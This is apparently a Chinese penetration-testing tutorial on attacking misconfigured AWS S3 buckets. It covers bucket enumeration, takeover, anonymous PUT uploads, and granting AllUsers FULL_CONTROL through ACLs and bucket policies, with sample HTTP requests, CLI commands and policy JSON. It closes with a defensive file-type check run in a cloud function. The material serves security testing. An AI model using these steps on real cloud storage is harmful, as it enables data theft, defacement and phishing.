1.S3对象储存
存储桶结构:
存储桶(Bucket)内包含多个对象(Object),一个对象中包含唯一标识符(key)、数据本体(Data)、元数据(Metadata)
注:此处元数据类似于数据标签,可以加快对象的排序分类和查找
例如:https://awstest.s3.ap-northeast-2.amazonaws.com/flag
awstest 是存储桶 Bucket 的名称
/flag 就是 Key
1.1 Bucket 爆破
类似目录爆破,通过内容判断桶是否存在
当Bucket不存在时,返回InvalidBucketName或 NoSuchBucket
当Bucket存在时,返回Object或AccessDenied
1.2 Bucket接管
原理:利用 “域名指向 S3 服务但对应存储桶未创建” 的漏洞,通过创建与域名同名的存储桶,抢占该域名与 S3 服务的关联关系,最终实现对目标域名下 S3 资源的控制
判定标准:
目标域名访问返回 NoSuchBucket错误;
域名的 CNAME 记录指向 Amazon S3 服务;
错误信息中指定的存储桶名称(与域名一致)未被创建
操作:
当发现渗透目标子域出现NoSuchBucket时,说明该域名指向一个不存在的存储桶
在相对应云服务中创建名称的Bucket可以进行接管
再次访问出现AccessDenied即表示Bucket已被接管,上传文件可以访问
1.3 S3任意文件上传
原理:对象存储配置不当,设置公共读写,可能会造成任意文件上传与文件覆盖。
判定标准:存储桶是否开放公共写入权限,且能通过匿名 PUT请求成功上传文件并验证访问
操作:
使用PUT方法,上传(覆盖)文件,HOST设定为存储桶域名
返回200 OK**即表示上传成功
若目标的对象存储支持 html 解析,那就可以利用任意文件上传进行 XSS 钓鱼、挂暗链、挂黑页、供应链投毒等操作
示例:
PUT /awstest.html HTTP/1.1
Host: awstest.s3.ap-northeast-2.amazonaws.com
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A; Brand";v="99", "Chromium";v="96"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Dnt: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh;q=0.9, en;q=0.8
Connection: close
Content-Length: 17
<h1> awstest </h1>
1.4 Bucket ACL 可写
原理:Bucket ACL配置错误造成AllUsers被授予WEITE_ACP(修改ACL)权限,未授权用户可通过修改ACL获取存储桶完全控制权
![[Pasted image 20250820153633.png]]判定标准:执行aws s3api get-bucket-acl --bucket awstest时发现返回WEITE_ACP或READ_ACP
操作:
当发现具有ACL读写权限后,可以通过修改权限为FULL_CONTROL
使用aws s3api put-bucket-acl --bucket awstest --access-control-policy file://acl.json 命令写入ACL
尝试列出存储桶对象
示例:
{
"Owner": {
"ID": "d24***5"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AllUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
1.5 Object ACL 可写
原理:Object ACL配置错误造成AllUsers被授予WEITE_ACP(修改ACL)权限,未授权用户可通过修改ACL获取存储桶完全控制权
判定标准:执行aws s3api get-object-acl --bucket awstest --key flag时发现返回WEITE_ACP或READ_ACP
操作:
当发现具有ACL读写权限后,可以通过修改权限为FULL_CONTROL
使用aws s3api put-object-acl --bucket awstest --key flag --access-control-policy file://acl.json 命令写入ACL
尝试列出存储桶对象
示例:
{
"Owner": {
"ID": "d24***5"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AllUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
1.6 Bucket 策略可写
原理:策略配置不当,允许未授权用户(如所有用户Principal: " * ")执行 s3:GetBucketPolicy(读取策略)和 s3:PutBucketPolicy(修改策略)操作,则攻击者可通过篡改策略获取敏感文件访问权限、植入恶意资源或阻断业务。
判定标准:能通过aws s3api get-bucket-policy命令成功读取目标存储桶的策略文档;策略文档中存在允许未授权主体(如 Principal: " * " 或未限制的 AWS 账号)执行 s3:PutBucketPolicy 操作的规则(Effect: "Allow")。
操作:
使用 aws s3api get-bucket-policy命令获取目标存储桶的当前策略,分析权限配置;
修改策略中的Effect(如将 Deny改为 Allow)、Action(如添加 s3:GetObject)或 Resource(如扩大访问范围),保存为本地 JSON 文件;
通过 aws s3api put-bucket-policy命令将恶意策略应用到目标存储桶;
执行目标操作(如下载敏感文件、访问静态资源),确认策略修改生效。
示例:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": ["s3:GetBucketPolicy", "s3:PutBucketPolicy"],
"Resource": "arn:aws:s3:::awstest"
},
{
"Effect": "Allow", // 原规则为 Deny,此处改为 Allow
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::awstest/flag" // 敏感文件路径
}
]
}
危害:
修改网站引用的 s3 资源进行钓鱼:利用写入权限修改s3资源,使其将数据传输到攻击者服务器
修改 Bucket 策略为 Deny 使业务瘫痪:将原本可访问的资源权限设置为不可访问,导致网站瘫痪
1.7 Bucket Object 遍历
原理:策略配置不当,允许未授权用户(如所有用户Principal: " * ")执行 s3:ListBucket操作
判定标准:aws s3api get-bucket-website --bucket awstest-bucket返回 s3:ListBucket且为Allow
操作:
使用 AWS CLI 查看存储桶是否启用 s3:ListBucket;
通过浏览器或 curl访问存储桶的目录路径,观察是否返回Key;
将 Key 里的值拼接到目标站点后,就能访问该 Bucket 里相应的对象
1.8 特定的 Bucket 策略配置
原理:针对特定策略进行绕过
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "awstestFlagPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::awstest/flag",
"Condition": {
"StringLike": {
"aws:UserAgent": "awstest"
}
}
}
]
}
操作:使用适当UserAgent进行绕过
1.9 使用云函数限制存储桶上传类型
原理:通过云函数(如阿里云函数计算 FC)监听存储桶的文件上传事件,在文件上传后触发函数执行,对文件类型进行多维度校验(文件头、后缀、Content-Type),若不符合预设规则则自动删除文件,从而限制存储桶仅允许指定类型文件上传。核心是利用事件触发机制实现上传后即时检查与拦截,弥补传统后端限制的灵活性不足问题。
判定标准:目标存储桶需限制文件上传类型(如仅允许图片上传),且存在任意文件上传风险;云服务厂商支持存储桶事件触发云函数(如阿里云 OSS 支持触发函数计算 FC);需具备配置云函数权限、IAM 角色权限及触发器的条件。
操作:
在云厂商函数计算服务(如阿里云 FC)中创建事件函数,区域需与目标存储桶一致;运行环境选择 Python,上传包含校验逻辑的代码包(index.py压缩为 ZIP)。
码需实现以下逻辑:
通过事件获取上传文件的存储桶名称、对象路径、区域等信息;~~~~
读取文件头(前 32 字节)、后缀、Content-Type;
与预设允许类型(如jpg/jpeg/png/gif`及对应 Content-Type)比对;
校验不通过则调用 API 删除文件。
创建具备oss:GetObject(读取文件)和oss:DeleteObject(删除不合规文件)权限的角色,关联至云函数。
在函数配置中创建 OSS 触发器,关联目标存储桶,触发事件选择oss:ObjectCreated:PutObject(文件上传事件)。
上传合规文件(如test.png)和不合规文件(如test.html~~~~或伪装图片),通过函数日志确认校验结果。
示例:
合规文件上传:
[+] 文件头类型:png
[+] 文件后缀类型:png
[+] 文件 Content-Type:image/png
[+] 文件头类型检查通过。
[+] 文件后缀类型检查通过。
[+] 文件 Content Type 检查通过。
[+] 文件 oss://bucket-name/test.png 检查通过。
不合规文件上传:
[-] 文件头类型检查不通过。
[-] 文件 oss://bucket-name/test.html 检查不通过,正在删除该文件。
[!] 文件 oss://bucket-name/test.html 已被删除。
已在FreeBuf发表 0 篇文章
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)



